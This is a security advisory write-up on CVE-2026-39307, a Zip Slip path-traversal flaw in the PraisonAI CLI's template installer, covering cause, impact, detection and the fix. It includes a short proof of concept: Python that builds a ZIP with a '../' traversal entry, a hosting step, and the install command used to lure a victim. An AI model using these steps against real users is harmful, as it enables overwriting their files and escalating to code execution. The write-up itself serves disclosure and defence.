CVE-2026-39307: 
Python vulnerability analysis and mitigation

CVE-2026-39307 is a "Zip Slip" Arbitrary File Write vulnerability in the PraisonAI CLI's templates installation feature, classified as High severity. It affects all versions of the praisonai pip package up to and including 4.5.112, with version 4.5.113 containing the fix. The vulnerability was published on April 5–6, 2026, by researcher liyander via the GitHub Security Advisory GHSA-4ph2-f6pf-79wv, and assigned a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory, PraisonAI Advisory).

The root cause is improper path validation during ZIP archive extraction, classified as CWE-22 (Path Traversal) and CWE-23 (Relative Path Traversal). The vulnerable code is located in src/praisonai/praisonai/cli/features/templates.py at line 852, where zip_ref.extractall(tmpdir) is called without sanitizing archive entry paths. A specially crafted ZIP archive containing entries with relative traversal sequences (e.g., ../../../../../../../tmp/evil.sh) can cause Python's zipfile.extractall() — particularly in older Python versions or permissive environments — to write files outside the intended temporary directory, enabling arbitrary file overwrite on the victim's filesystem (GitHub Advisory, PraisonAI Advisory).

Successful exploitation allows an attacker to overwrite arbitrary files on the victim's filesystem, including system files, user dotfiles, shell configuration files, or application code. This can lead to system corruption, privilege escalation, or full Remote Code Execution (RCE) if critical files such as startup scripts or application binaries are overwritten. The integrity and availability impacts are rated High, while there is no direct confidentiality impact (GitHub Advisory).

A public proof-of-concept (PoC) exploit is available in the GitHub Security Advisory, providing step-by-step instructions including malicious ZIP creation code and the specific installation command to trigger the vulnerability (praisonai templates install github:attacker/malicious_template). Exploitation requires user interaction — the victim must be tricked into installing a malicious community template — but requires no privileges from the attacker. There is no evidence of in-the-wild exploitation at this time, no threat actor attribution, and no CISA KEV listing. The EPSS score is approximately 0.043% (0.068% per GitHub Advisory), placing it in the 21st percentile (GitHub Advisory, PraisonAI Advisory).

1. Craft a malicious ZIP archive: Create a ZIP file containing a file entry with a path traversal sequence using Python:

import zipfile
with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')

2. Host the malicious template: Upload the crafted ZIP archive to an attacker-controlled GitHub repository (e.g., attacker/malicious_template) so it is accessible as a downloadable archive.
3. Social engineer the victim: Trick a user running a vulnerable version of PraisonAI (≤ 4.5.112) into installing the malicious template by running:

praisonai templates install github:attacker/malicious_template

4. Trigger extraction: The CLI downloads the ZIP archive and calls zip_ref.extractall(tmpdir) without path validation, causing the traversal path to resolve outside the temporary directory.
5. Achieve arbitrary file write: The malicious file (e.g., zip_slip_pwned.txt) is written to /tmp/ or another target directory outside the intended extraction path. By targeting writable scripts, cron jobs, or dotfiles, the attacker can escalate to code execution (GitHub Advisory, PraisonAI Advisory).

• File System: Unexpected files appearing in directories outside the PraisonAI temporary extraction directory (e.g., /tmp/, ~/.bashrc, ~/.profile, or application directories) with timestamps coinciding with a praisonai templates install command; newly created or modified shell scripts, cron files, or dotfiles owned by the user running PraisonAI.
• Logs: System or application logs showing praisonai templates install commands referencing unknown or external GitHub repositories; Python zipfile extraction activity writing to paths containing .. sequences.
• Process: Unexpected execution of scripts or binaries from /tmp/ or user home directories shortly after a template installation event; unusual child processes spawned from the PraisonAI Python process.

Users should upgrade PraisonAI to version 4.5.113 or later, which addresses this vulnerability (GitHub Advisory). As a workaround prior to patching, avoid installing community templates from untrusted or unverified external sources. Developers can mitigate the class of vulnerability by validating all ZIP archive entry paths before extraction — checking that resolved paths remain within the intended target directory — or by using extraction logic that explicitly rejects entries containing .. sequences. A manifest verification step to ensure only expected files are extracted is also recommended (PraisonAI Advisory).